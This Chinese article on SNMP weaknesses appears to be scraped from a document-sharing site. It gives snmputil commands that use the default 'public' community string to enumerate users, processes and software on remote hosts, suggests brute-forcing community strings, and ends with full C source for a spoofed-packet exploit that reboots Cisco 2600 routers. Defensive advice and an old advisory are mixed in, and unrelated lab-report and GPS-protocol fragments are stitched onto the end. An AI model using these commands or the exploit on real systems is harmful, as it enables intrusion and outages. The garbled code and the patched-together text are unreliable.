当前位置:文档之家› snmp协议漏洞分析

snmp协议漏洞分析

、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、

snmp简单网络管理协议漏洞分析

简单网络管理协议(SNMP)是一个

可以远程管理计算机和网络设备的协议.

有两种典型的远程监控模式.

他们可以粗略地分为"读"和"写"(或者是PUBLIC和PRIVATE).

如果攻击者能猜出一个PUBLIC团体串值,

那么他就可以从远程设备读取SNMP数据.

这个信息可能包括

系统时间,IP地址,接口,运行着的进程,etc等.

如果攻击者猜出一个PRIVATE团体串值

(写入或"完全控制",

他就有更改远程机器上信息的能力.

这会是一个极大的安全漏洞,

能让攻击者成功地破坏网络,运行的进程,ect.

其实,"完全控制"会给远程攻击者提供在主机上的完全管理权限.

更多信息请参见:

http://biz.doczj.com/doc/fe17796233.html,/exploi ... _vulnerability.html

___________________________________________________________________

SNMP Agent responded as expected with community name: public

CVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516 BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986

NESSUS_ID : 10264

Other references : IAVA:2001-B-0001

SNMP服务在UDP 161/162端口监听

用法:snmputil walk IP public [OID]

[----------OID-----------------------含义-------]

.1.3.6.1.2.1.25.4.2.1.2 获取系统进程

.1.3.6.1.4.1.77.1.2.25.1.1 获取用户列表

.1.3.6.1.4.1.77.1.4.1.0 获取域名

.1.3.6.1.2.1.25.6.3.1.2 获取安装的软件

.1.3.6.1.2.1.1 获取系统信息

--------------------------------------------------------------------

扫描到的一个报告:

. 端口"snmp (161/udp)"发现安全漏洞:

Snmp口令:

"public"

. 端口"snmp (161/udp)"发现安全提示:

sysDescr.0 = Draytek V3300 Advanced Router

sysUpTime.0 = 3 Days, 1 Hours, 53 Minutes, 10 Seconds sysContact.0 = admin@router

sysName.0 = V3300c

sysLocation.0 = Hsin Chu

sysServices.0 = 0

目的:得到远程目标的系统敏感信息

简单利用方法

这里的public使用来查询对方信息时所用到的密码

具体的做法:要用到一个叫snmputil的东西,这个东西在win2000的resource kit中有,通过它我们可以通过snmp服务来查看对方的一些信息

格式:snmputil get(or walk or getnext) public oid

get和括号里的时获取对方机器信息的一种方法,public就是查寻的时候要用的密码。oid 是被查询设备的ID号码

例如:snmputil walk 111.111.111.111 public .1.3.6.1.2.1.25.4.2.1.2

snmputil walk ip public .1.3.6.1.2.1.25.4.2.1.2(列出系统进程)

snmputil walk ip public .1.3.6.1.4.1.77.1.2.25.1.1(列出系统用户列表)

snmputil get ip public .1.3.6.1.4.1.77.1.4.1.0(列出域名)

snmputil walk ip public .1.3.6.1.2.1.25.6.3.1.2(列出安装软件)

snmputill walk ip public .1.3.6.1.2.1(列出系统信息)

------------------------------------------------------------

关于扫描中snmp信息的利用

对于完全安装的WIN2K或者说启动了简单网络管理协议(SNMP)的系统来说,仍然将存在

非常致命的隐患,完全将你的系统暴露给所有人。

一、从SNMP说起

SNMP,Simple Network Management Protocol,简单网络管理协议。用于管理IP网络上结点的协议。

几乎所有的网络设备和网络操作系统都支持SNMP。

接下来要介绍的是:community strings,

理解成为基于SNMP协议信息通信时使用的一种“查询密码”应该不为过吧。

当使用特殊的客户端应用程序,通过该“查询密码”community strings的验证,将获得

对应的权限(只读或者读写)对SNMP中管理信息库(MIB)进行访问。

而管理信息库(MIB)中则保存了系统所有的重要信息。

也就是说,如果可以知道community strings 这个“查询密码”,我们就可以刺探系统的信息了。

比较遗憾的是,很多网络设备厂商以及操作系统厂商,在初始状态下,都使用比较

统一的“查询密码”呵呵,这也就给我们提供了足够的方便。

二、对WIN2K进行刺探扫描

以WIN2K来说,一旦安装并启动了简单网络管理协议,系统将打开

UDP 161 snmp

UDP 162 snmptrap

两个端口。

具体做什么我们不去细究。需要注意的是,这里使用的是UDP端口,而不是TCP端口。同时,WIN2K系统支持初始的“查询密码”community strings 为:public

我们只要通过一款Resource Kit里面的工具snmputil,就可以方便的获得非常多的信息。在这里可以下载:

http://biz.doczj.com/doc/fe17796233.html,/abu/tools/win/snmputil.exe

http://biz.doczj.com/doc/fe17796233.html, ... NEkm0m&hl=zh-CN

简单介绍一下用法

snmputil,就是程序名拉,呵呵。

get,就理解成获取一个信息。

getnext,就理解成获取下一个信息。

walk,就理解成获取一堆信息(嗯,应该说所有数据库子树/子目录的信息)

agent,具体某台机器拉。

community,嗯就是那个“community strings”“查询密码”拉。

oid,这个要多说一下,这个呢,就是物件识别代码(Object Identifier)。

可以把oid理解成MIB管理信息库中各种信息分类存放树资源的一个数字标识。

尝试获得对方机器当前进程列表

snmputil.exe walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2

尝试获得对方机器系统用户列表

snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1

整理一些列在下面:

snmputil walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程

snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表

snmputil get 对方ip public .1.3.6.1.4.1.77.1.4.1.0 列出域名

snmputil walk 对方ip public .1.3.6.1.2.1.25.6.3.1.2 列出安装的软件

snmputil walk 对方ip public .1.3.6.1.2.1.1 列出系统信息

三、一些工具的推荐

snmputil的功能已经完全足够用来进行对网络主机的刺探扫描了,只是因为它是命令行下的工具

而且,超常的oid标识符也并不是那么方便输入。

这里我推荐两款非常不错的网络管理工具,当然,它们的另一个作用就是snmp的刺探。

SolarWinds 2001的IP Network Browser

IP Network Browser是一款snmp浏览工具,它可以提供在输入正确的community strings“查询密码”

后的运行着snmp服务的WIN2K/NT系统上的任何可得的信息。

在下图中,我们可以看到“查询密码”为:public

而在Accounts(账号)表单里,我们已经获得了同上面snmputil命令行方式一样的反馈信息。

功能强大噢。

整个SolarWinds 软件套件更包含了更多的网络管理工具,以后我将在其他的文章里继续介绍。

LANguard Network Scanner 2.0

这是一个网络安全综合扫描工具,主要功能:显示每台主机的NETBIOS主机名,MAC地址,搜寻

共享,操作系统类型判断,并测试共享密码的安全性等等,以html格式输出。

当然,LANguard Network Scanner还有一些更高级更适用的功能

比如暴力破解community strings,呵呵自己配置一个字典的话

会非常有效的。

四、如何防范基于snmp的刺探扫描

首先需要注意的是,snmp服务的通讯端口是UDP端口,这也就是大部分网络管理人员很容易忽略的地方。

往往某些网管配置服务器阻断了NetBIOS空会话的建立,就认为系统安全有了相当的保障,可由于安装

了SNMP服务,不知不觉中,就给系统带去了极大的隐患。

最方便和容易的解决方法,就是关闭SNMP服务,或者卸载掉该服务。

如果关掉SNMP服务不方便的话,那么可以通过修改注册表或者直接修改图形界面的SNMP服务属性

进行安全配置。

开始——程序——管理工具——服务——SNMP Service——属性——安全

在这个配置界面中,可以修改community strings,也就是微软所说的“团体名称”,呵呵,也就是

我所说的“查询密码”。或者可以配置是否从某些安全主机上才允许SNMP查询。

不过NT4环境下的朋友就必须修改注册表了。

修改community strings,在

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\Vali dCommunities]

下,将public的名称修改成其它的名称就可以了。

如果要限定允许的ip才可以进行SNMP查询,可以进入

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\Per mittedManagers]

添加字符串,名称为“1”,内容为要允许的主机IP。

当然,如果允许多台机器的话,就要名称沿用“2、3、4”等名称了。

-----------------------------------------------------------------

附带资料:

SNMP协议实现存在多个漏洞

--------------------------------------------------------------------------------

来源:http://biz.doczj.com/doc/fe17796233.html, 类别:系统漏洞日期:2002-6-22 8:08:04

涉及程序:

SNMP协议和各种网络设备

描述:

snmp协议实现机制存在多个漏洞严重危害互联网基础安全

详细:

背景:

ASN No.1信令为抽象数据类型形式的标准,1984年以来,被用于编写和发送复杂的数据结构。这个语言从80年代开始衍生出了多个通信协议和应用,是电信业、电力业和核电业计算机网络基础信令。也是互联网赖以运行的基础通信规则之一。全球级计算机安全专家正在调查ASN N0.1信令的安全脆弱性。这些脆弱性严重威胁互联网基础设施安全,黑客可以开发攻击程序,关闭ISP的骨干路由器、交换机和众多的基础网络设备。最终破坏性的后果将是引起互联网瘫痪。

业界和政府的计算机安全专家门早就在关注这些问题。CNNS的安全专家早在1999年就发现很多电信公司的骨干路由器有致命缺陷。在那个时候,只需要很简单的操作,就可以引起大规模的网络瘫痪。举一个例子,一个显著的漏洞特征曾经出现在台湾中华电信,1999年如果有黑客施之以简单攻击,整个台湾地区大约65%的用户就不再能上网。

由于ASN No.1信令的安全脆弱性,超过100家计算机网络设备的提供商将付出代价。弥补这些缺陷的投入将超过1亿美金。

数百家网络设备提供商在今年早期就获得警告。如今已经纷纷给出解决方案。

由于多个internet通信协议都是基于ASN No.1计算机网络语言,ASN No.1的脆弱性将广泛威胁通信行业。最为显著的例子就是造成SNMP协议多个安全漏洞。相同的问题还影响至少其它三个互联网协议,在这里不做详细叙述。

Oulu University Secure Programming Group

(OUSPG,http://www.ee.oulu.fi/research/ouspg/)长期专注于SNMP协议的研究,并披露了这个严重的安全系列问题。

=================================================================== ======================

多个计算机网络设备厂商的产品存在由于snmp协议脆弱性引起的多个漏洞,这些缺陷可能允许非法越权访问、拒绝服务攻击、导致不稳定的运行状况。

Simple Network Management Protocol (SNMP)协议被广泛用于网络设备的监控和管理。SNMPv1定义了多个类型的SNMP讯息,如请求信息、配置改变、请求响应、SNMP对象列举,和主动的警报发送。

一、SNMPv1跟踪消息处理系列缺陷

SNMP代理(SNMP agents)发送跟踪消息(SNMP trap messages)到管理器(SNMP manager),向管理器报告错误信息、警报和其它的有关宿主的状态

信息。管理器必须解析和处理这些数据。OUSPG发现很多SNMP管理器在解析和处理过

程中存在缺陷。

二、SNMPv1请求信息处理系列缺陷

SNMP请求信息是从管理器向snmp agent代理发出的。请求信息用于获取代理信息或指示snmp agent配置设备参数。SNMP agent代理必须正确解码和处理该信息。

在解码以及随后的数据处理过程中,代理和管理器都有出现拒绝服务错误、格式化字符串错误和缓冲溢出攻击的可能。有的攻击甚至不需要提供正确的SNMP community string(SNMP 协议设置的一个关键参数,有点类似口令)。

这些漏洞可以导致拒绝服务、服务中断,还有一些情况下可以允许攻击者获取设备的非法访问权限。攻击对于不同的产品有不同的影响。

解决方案:

本站列出了一百多个全球大厂商关于这个安全问题的响应和有关信息:

http://biz.doczj.com/doc/fe17796233.html,/patch/vendor.htm

请注意,以下的安全措施对于您的网络日常维护和网络设置构架可能有重大的影响。要确保以下措施的结果不会影响网络运行性能。

1、从厂商获得补丁程序并执行

http://biz.doczj.com/doc/fe17796233.html,/patch/vendor.htm提供了厂商有关该安全性问题的信息。

2、禁止SNMP服务

CNNS建议您禁止所有不必要运行的服务,包括SNMP。不幸的是,有些产品在SNMP服务被禁止的情况下会有意外情况发生或者拒绝服务。如果是这样的话,必须执行更高级的安全设置。

3、边界访问过滤

临时的措施是,在网络边界禁止不良信息流进入内部网络或者发往外部网络。对于网络管理者来说,比较有力的措施是通过防火墙等过滤设备控制对SNMP服务的请求。比如,除指定的服务器外,缺省情况下通通禁止对SNMP服务的请求,以下端口的过滤有利于外部攻击者对内部网的SNMP攻击:

snmp 161/udp # Simple Network Management Protocol (SNMP)

snmp 162/udp # SNMP system management messages

以下这些服务并不常用,但有些产品可能运行这些服务:

snmp 161/tcp # Simple Network Management Protocol (SNMP)

snmp 162/tcp # SNMP system management messages

smux 199/tcp # SNMP Unix Multiplexer

smux 199/udp # SNMP Unix Multiplexer

synoptics-relay 391/tcp # SynOptics SNMP Relay Port

synoptics-relay 391/udp # SynOptics SNMP Relay Port

agentx 705/tcp # AgentX

snmp-tcp-port 1993/tcp # cisco SNMP TCP port

snmp-tcp-port 1993/udp # cisco SNMP TCP port

过滤对这些服务的请求,必须细心慎重,以免影响正常的网络运行。

值得注意的是,SNMP守护进程可能在该设备上绑定所有的IP地址。因此,要合理考虑包过滤策略。比如,即使禁止了SNMP包直接发送给普通的网络地址,还是有可能受到攻击。因为攻击者可以利用SNMP缺陷攻击一些特殊的网络地址,如:

网络广播地址

子网广播地址

和所有的loopback地址。(127.x.x.x)loopback地址常被路由器用于管理用途。

管理员可以考虑是否过滤这些数据包。但必须慎重,因为不当的设置可能影响网络性能。

最后,对以下的RPC服务的访问也可以考虑禁止:

名称程序ID 别名

snmp 100122 na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utk

snmpv2 100138 na.snmpv2 # SNM Version 2.2.2

snmpXdmid 100249

值得注意的是,这些措施对内部攻击无效。

4、在内部网络中过滤不正常的SNMP访问。

在很多网络系统中,只有有限的网络管理系统需要发生SNMP请求。基于这种情形,对于大多数的SNMP代理,可以设置仅接受有限几台主机的SNMP请求。这样可以降低内部攻

击风险。使用这些安全措施同样必须慎重,以免不当的设置降低网络性能。

5、修改缺省的"community string"

很多支持SNMP服务的产品的出厂设置中,默认的community-string是"public"(只读访问)和"private"(读写访问)。CNNS强烈建议用户修改这两个缺省字符串。否则攻击者将可以通过SNMP协议修改设备的设定。修改了这两个缺省"口令"后,还要防备监听攻击以免攻击者获得新的设置"口令"。SNMPv3对这点做了改进,参考RFC2574。

6、隔离SNMP包

从网络管理的角度,用隔离措施可以降低SNMP攻击的风险。

包括物理隔离、VLAN逻辑隔离和VPN方式的隔离。注意通过交换机做VLAN隔离将加大攻击者攻击难度,但理论上并不能完全杜绝这类攻击。

------------------------------------------------------

攻击方法:

范例:

一、如果获取支持SNMP协议设备的"community string",在合适的环境下,攻击者将可以:

1、修改路由器配置

2、获取服务器最高控制权

3、重新启动设备

二、攻击者在不知道"community string"的前提下,也能进行拒绝服务攻击。

以下这段代码将重启Cisco 2600路由器:

/* This program send a spoofed snmpv1 get request that cause system reboot

on Cisco 2600 routers with IOS version 12.0(10)

Author : kundera@tiscali.it ... don't be lame use for testing only! ..*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

struct in_addr sourceip_addr;

struct in_addr destip_addr;

struct sockaddr_in dest;

struct ip *IP;

struct udphdr *UDP;

int p_number=1,sok,datasize,i=0;

char *packet,*source,*target;

char *packetck;

char *data,c;

char snmpkill[] =

"\x30\x81\xaf\x02\x01\x00\x04\x06\x70\x75\x62\x6c\x69\x63\xa0\x81" "\xa1\x02\x02\x09\x28\x02\x01\x00\x02\x01\x00\x30\x81\x94\x30\x81" "\x91\x06\x81\x8c\x4d\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73" "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73" "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73" "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73" "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73" "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73" "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"

"\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73" "\x25\x73\x25\x73\x25\x73\x81\xff\xff\xff\xff\xff\xff\xff\xff\x7f"

"\x05";

struct pseudoudp {

u_long ipsource;

u_long ipdest;

char zero;

char proto;

u_short length;

} *psudp;

in_cksum (unsigned short *ptr, int nbytes)

{

register long sum; /* assumes long == 32 bits */

u_short oddbyte;

register u_short answer; /* assumes u_short == 16 bits */

/*

* Our algorithm is simple, using a 32-bit accumulator (sum),

* we add sequential 16-bit words to it, and at the end, fold back

* all the carry bits from the top 16 bits into the lower 16 bits.

*/

sum = 0;

while (nbytes > 1)

{

sum += *ptr++;

nbytes -= 2;

}

/* mop up an odd byte, if necessary */

if (nbytes == 1)

{

oddbyte = 0; /* make sure top half is zero */

*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */

sum += oddbyte;

}

/*

* Add back carry outs from top 16 bits to low 16 bits.

*/

sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* ones-complement, then truncate to 16 bits */

return (answer);

}

void usage (void)

{

printf("Kundera CiscoKill v1.0\n";

printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target \n"; }

int main(int argc,char **argv){

if (argc < 2){

usage();

exit(1);

}

while((c=getopt(argc,argv,"s:t:n:")!=EOF){

switch(c) {

case 's': source=optarg; break;

case 'n': p_number=atoi(optarg); break;

case 't': target=optarg;

}

}

if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0) {

printf("Can't create socket.\n";

exit(EXIT_FAILURE);

}

destip_addr.s_addr=inet_addr(target);

sourceip_addr.s_addr=inet_addr(source);

datasize=sizeof(snmpkill);

packet = ( char * )malloc( 20 + 8 + datasize );

IP = (struct ip *)packet;

memset(packet,0,sizeof(packet));

IP->ip_dst.s_addr = destip_addr.s_addr;

IP->ip_src.s_addr = sourceip_addr.s_addr;

IP->ip_v = 4;

IP->ip_hl = 5;

IP->ip_ttl = 245;

IP->ip_id = htons(666);

IP->ip_p = 17;

IP->ip_len = htons(20 + 8 + datasize);

IP->ip_sum = in_cksum((u_short *)packet,20);

UDP = (struct udphdr *)(packet+20);

UDP->source = htons(666);

UDP->dest = htons(161);

UDP->len = htons(8+datasize);

UDP->check = 0;

packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));

bzero(packetck,8 + datasize + sizeof(struct pseudoudp));

psudp = (struct pseudoudp *) (packetck);

psudp->ipdest = destip_addr.s_addr;

psudp->ipsource = sourceip_addr.s_addr;

psudp->zero = 0;

psudp->proto = 17;

psudp->length = htons(8+datasize);

memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);

memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);

UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));

data = (unsigned char *)(packet+20+8);

memcpy(data,snmpkill,datasize);

dest.sin_family=AF_INET;

dest.sin_addr.s_addr=destip_addr.s_addr;

while (i

{

if (( sendto(sok,packet,20+8+datasize,0,( struct sockaddr * ) &dest,sizeof(dest)))<0) {

printf("Error sending packet.\n";

exit(EXIT_FAILURE);

}

i++;

}

printf("%d packets sent.\n",i);

}

安全建议:

在允许的情况下,禁止SNMP协议

网络协议分析实验报告

实 验 报 告 课程名称 计算机网络 实验名称 网络协议分析 系别 专业班级 指导教师 学号 姓名 实验日期 实验成绩 一、实验目的 掌握常用的抓包软件,了解ARP 、ICMP 、IP 、TCP 、UDP 协议的结构。 二、实验环境 1.虚拟机(VMWare 或Microsoft Virtual PC )、Windows 2003 Server 。 2.实验室局域网,WindowsXP 三、实验学时 2学时,必做实验。 四、实验内容 注意:若是实验环境1,则配置客户机A 的IP 地址:192.168.11.X/24,X 为学生座号;另一台客户机B 的IP 地址:192.168.11.(X+100)。在客户机A 上安装EtherPeek (或者sniffer pro )协议分析软件。若是实验环境2则根据当前主机A 的地址,找一台当前在线主机B 完成。 1、从客户机A ping 客户机B ,利用EtherPeek (或者sniffer pro )协议分析软件抓包,分析ARP 协议; 2、从客户机A ping 客户机B ,利用EtherPeek (或者sniffer pro )协议分析软件抓包,分析icmp 协议和ip 协议; 3、客户机A 上访问 http://biz.doczj.com/doc/fe17796233.html, ,利用EtherPeek (或者sniffer pro )协议分析软件抓包,分析TCP 和UDP 协议; 五、实验步骤和截图(并填表) 1、分析arp 协议,填写下表 客户机B 客户机A

2、分析icmp协议和ip协议,分别填写下表 表一:ICMP报文分析

3、分析TCP和UDP 协议,分别填写下表

snmp协议的分析

竭诚为您提供优质文档/双击可除 snmp协议的分析 篇一:实验三snmp协议分析 实验三snmp协议分析 一、实验目的 (1)掌握嗅探工具ethereal协议分析软件的使用方法(2)利用ethereal软件工具截snmp数据包并完成报文分析 二、实验环境 局域网,windowsserver20xx,snmputil,ethereal,superscan 三、实验步骤(0、snmp的安装配置) 1、理解应用层snmp协议工作原理; 2、使用windows平台上的snmputil.exe程序实现snmp 交互; 3、利用协议分析和抓包工具ethereal抓取分析snmp 协议报文。 四、实验内容 内容一:

1.打开ethereal软件开始抓包, 输入命令: snmputilget[目标主机ip地址]团体 名.1.3.6.1.2.1.1.2.0停止抓包。对snmp包进行过滤。(给出抓包结果截图) 2.找出一对snmp协议请求包和相对应的应答包。给出抓包结果截图。 3.对上面这对请求和应答包进行分析,根据snmp协议数据包格式填值。 请求包报文分析 应答包报文分析 内容二: 1.通过snmptuil.exe与snmp交互: 输入snmputilwalk[目标主机ip地址]团体 名.1.3.6.1.2.1.1命令列出目标主机的系统信息。 2.打开ethereal软件开始抓包,再次输入上面命令后,停止抓包。对snmp包进行过滤。给出抓包结果截图。 3.找出一对snmp协议请求包和相对应的应答包。给出抓包结果截图。 4.对上面这对请求和应答包进行分析,根据snmp协议数据包格式填值。 请求包报文分析

NMEA协议详解

NMEA协议详解 2017/9/11 NMEA协议是为了在不同的GPS(全球定位系统)导航设备中建立统一的BTCM(海事无线电技术 委员会)标准,由美国国家海洋电子协会(NMEA-The National Marine Electronics Associations)制定的一套通讯协议。GPS接收机根据NMEA-0183协议的标准规范,将位置、速度等信息通过串 口传送到PC机、PDA等设备。 NMEA-0183协议是GPS接收机应当遵守的标准协议,也是目前GPS接收机上使用最广泛的协议, 大多数常见的GPS接收机、GPS数据处理软件、导航软件都遵守或者至少兼容这个协议。 不过,也有少数厂商的设备使用自行约定的协议比如GARMIN的GPS设备(部分GARMIN设备也 可以输出兼容NMEA-0183协议的数据)。软件方面,我们熟知的Google Earth目前也不支持 NMEA-0183协议,但Google Earth已经声明会尽快实现对NMEA-0183协议的兼容。呵呵,除非 你确实强壮到可以和工业标准分庭抗礼,否则你就得服从工业标准。 NMEA-0183协议定义的语句非常多,但是常用的或者说兼容性最广的语句只有$GPGGA、$GPGSA、$GPGSV、$GPRMC、$GPVTG、$GPGLL等。下面给出这些常用NMEA-0183语句 的字段定义解释。 $GPGGA 例:$GPGGA,092204.999,4250.5589,S,14718.5084,E,1,04,24.4,19.7,M,,,,0000*1F 字段0:$GPGGA,语句ID,表明该语句为Global Positioning System Fix Data(GGA)GPS 定位信息 字段1:UTC 时间,hhmmss.sss,时分秒格式 字段2:纬度ddmm.mmmm,度分格式(前导位数不足则补0) 字段3:纬度N(北纬)或S(南纬) 字段4:经度dddmm.mmmm,度分格式(前导位数不足则补0) 字段5:经度E(东经)或W(西经) 字段6:GPS状态,0=未定位,1=非差分定位,2=差分定位,3=无效PPS,6=正在估算 字段7:正在使用的卫星数量(00 - 12)(前导位数不足则补0) 字段8:HDOP水平精度因子(0.5 - 99.9) 字段9:海拔高度(-9999.9 - 99999.9) 字段10:地球椭球面相对大地水准面的高度 字段11:差分时间(从最近一次接收到差分信号开始的秒数,如果不是差分定位将为空)

网络层协议分析实验报告

(1)写出ping和tracert命令的格式和主要参数意义。 1)ping命令格式: ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j -Host list] | [-k Host-list] [-w timeout] destination-list ping命令参数: -t ping 指定的计算机直到中断。ctrl+c停止 -a 将地址解析为计算机名。 -n count 发送count 指定的echo 数据包数。默认值为4。 -l length 发送包含由length 指定的数据量的echo 数据包。 - f 在数据包中发送“不要分段”标志。数据包就不会被路由上的网关分段。 -i ttl 将“生存时间”字段设置为ttl 指定的值。 -v tos 将“服务类型”字段设置为tos 指定的值。 -r count在“记录路由”字段中记录传出和返回数据包的路由; -s count 指定count 指定的跃点数的时间戳。 -j computer-list 利用computer-list 指定的计算机列表路由数据包。 -k computer-list利用computer-list 指定的计算机列表路由数据包。 -w timeout 指定超时间隔,单位为毫秒。 destination-list 指定要ping 的远程计算机。 2)tracert 命令格式: tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout] target_name -d 指定不将地址解析为计算机名。 -h maximum_hops 指定搜索目标的最大跃点数。 -j computer-list 指定沿computer-list的稀疏源路由。 -w timeout 每次应答等待timeout指定的微秒数。 target_name 目标计算机的名称。 (2)判断一下ping命令中会出现哪些ICMP报文类型。 在ping命令中,可能会出现的ICMP报文类型有一下几种:目的站不可达;数据包超时;数据包参数错误;回答请求;回答应答;地址掩码请求;地址掩码应答;路由器恳求;

H3C配置SNMP协议

H3C配置SNMP协议 1.使用telnet登陆设备 System-view Snmp-agent Snmp-agent community read public Snmp-agent sys-infoversion all Dis cur Save 保存 配置完成。。 1.1 概述 SNMP是Simple Network Manger Protocol(简单网络管理协议)的缩写,在1988 年8月就成为一个网络管理标准RFC1157。到目前,因众多厂家对该协议的支持, SNMP已成为事实上的网管标准,适合于在多厂家系统的互连环境中使用。利用SNMP 协议,网络管理员可以对网络上的节点进行信息查询、网络配置、故障定位、容量规 划,网络监控和管理是SNMP的基本功能。 SNMP是一个应用层协议,为客户机/服务器模式,包括三个部分: ●SNMP网络管理器 ●SNMP代理 ●MIB管理信息库 SNMP网络管理器,是采用SNMP来对网络进行控制和监控的系统,也称为NMS (Network Management System)。常用的运行在NMS上的网管平台有HP OpenView 、CiscoView、CiscoWorks 2000,锐捷网络针对自己的网络设备,开发了 一套网管软件--Star View。这些常用的网管软件可以方便的对网络设备进行监控和 管理。 SNMP代理(SNMP Agent)是运行在被管理设备上的软件,负责接受、处理并且响 应来自NMS的监控和控制报文,也可以主动发送一些消息报文给NMS。 NMS和Agent的关系可以用如下的图来表示: 图1 网络管理站(NMS)与网管代理(Agent)的关系图

实验五-IP协议分析

实验五IP协议分析 在这个实验里,我们将研究IP协议,通过执行traceroute程序来分析IP数据包发送和接收的过程。我们将研究IP数据包的各个字段,详细学习IP数据包的分片。 一、捕获traceroute 为了产生一个IP数据包,我们将使用traceroute程序来向一些目的地发送不同大小的数据包,这个软件我们在第一个实验已作过简单的尝试了。 但我们试图在IP头部首先发送一个或者更多的具有TTL的数据包,并把TTL的值设置为1;然后向同一个目的地发送一系列具有TTL值为2的数据包;接着向同一个目的地发送一系列具有TTL值为3的数据包等等。路由器在每次接收数据包时消耗掉一个TTL,当TTL达到0时,路由器将会向源主机返回一个ICMP的消息(类型为11的TTL溢出),这样一个TTL值为1的数据包将会引起路由器从发送者发回一个ICMP的TTL溢出消息产生一跳,TTL值为2的数据包发送时会引起路由器产生两跳,TTL值为3的数据包则会引起路由器产生3跳。基于这种方式,主机可以执行traceroute观察ICMP的TTL溢出消息,记录每个路由器的ICMP的溢出消息的源IP地址,即可标识出主机和目的地之间的所有路由器。 我们要运行traceroute让它发送多种长度的数据包,由Windows提供的tracert程序不允许改变由tracert程序发送的ICMP的回复请求消息的大小,在Windows下比较好的一个是pingplotter,它可以在以下网站下载共享版本(现在已下载好存在共享文件夹的压缩包中): 安装pingplotter标准版(你有一个30天的试用期),通过对你所喜欢的站点执行一些traceroute来熟悉这个工具。ICMP回复请求消息的大小可以在pingplotter中设置:Edit-> Options->Default Setting->enginet,在packet size字段中默认包的大小是56字节。pingplotter 发送一系列TTL值渐增的包时,Trace时间间隔的值和间隔的个数在pingplotter中能够设置。 按下面步骤做: 1启动Iris,开始包捕获; 2启动pingplotter,然后在“Address to Trace”窗口输入目的地目标的名字:

实验1:网络数据包的捕获与协议分析

实验报告 ( 2014 / 2015 学年第二学期) 题目:网络数据包的捕获与协议分析 专业 学生姓名 班级学号 指导教师胡素君 指导单位计算机系统与网络教学中心 日期2015.5.10

实验一:网络数据包的捕获与协议分析 一、实验目的 1、掌握网络协议分析工具Wireshark的使用方法,并用它来分析一些协议; 2、截获数据包并对它们观察和分析,了解协议的运行机制。 二、实验原理和内容 1、tcp/ip协议族中网络层传输层应用层相关重要协议原理 2、网络协议分析工具Wireshark的工作原理和基本使用规则 三、实验环境以及设备 Pc机、双绞线、局域网 四、实验步骤 1.用Wireshark观察ARP协议以及ping命令的工作过程: (1)打开windows命令行,键入“ipconfig -all”命令获得本机的MAC地址和缺省路由器的IP地址;结果如下: (2)用“arp -d”命令清空本机的缓存;结果如下 (3)开始捕获所有属于ARP协议或ICMP协议的,并且源或目的MAC地址是本机的包。(4)执行命令:ping http://biz.doczj.com/doc/fe17796233.html,,观察执行后的结果并记录。

此时,Wireshark所观察到的现象是:(截图表示) 2.设计一个用Wireshark捕获HTTP实现的完整过程,并对捕获的结果进行分析和统计。(截 图加分析) 3.设计一个用Wireshark捕获ICMP实现的完整过程,并对捕获的结果进行分析和统计。要求:给出捕获某一数据包后的屏幕截图。以16进制形式显示其包的内容,并分析该ICMP 报文。(截图加分析) 4. 设计一个用Wireshark捕获IP数据包的过程,并对捕获的结果进行分析和统计(截图加分析) 要求:给出捕获某一数据包后的屏幕截图。以16进制形式显示其包的内容,并分析在该数据包中的内容:版本首部长度、服务类型、总长度、标识、片偏移、寿命、协议、源Ip地址、目的地址 五、实验总结

SNMP协议

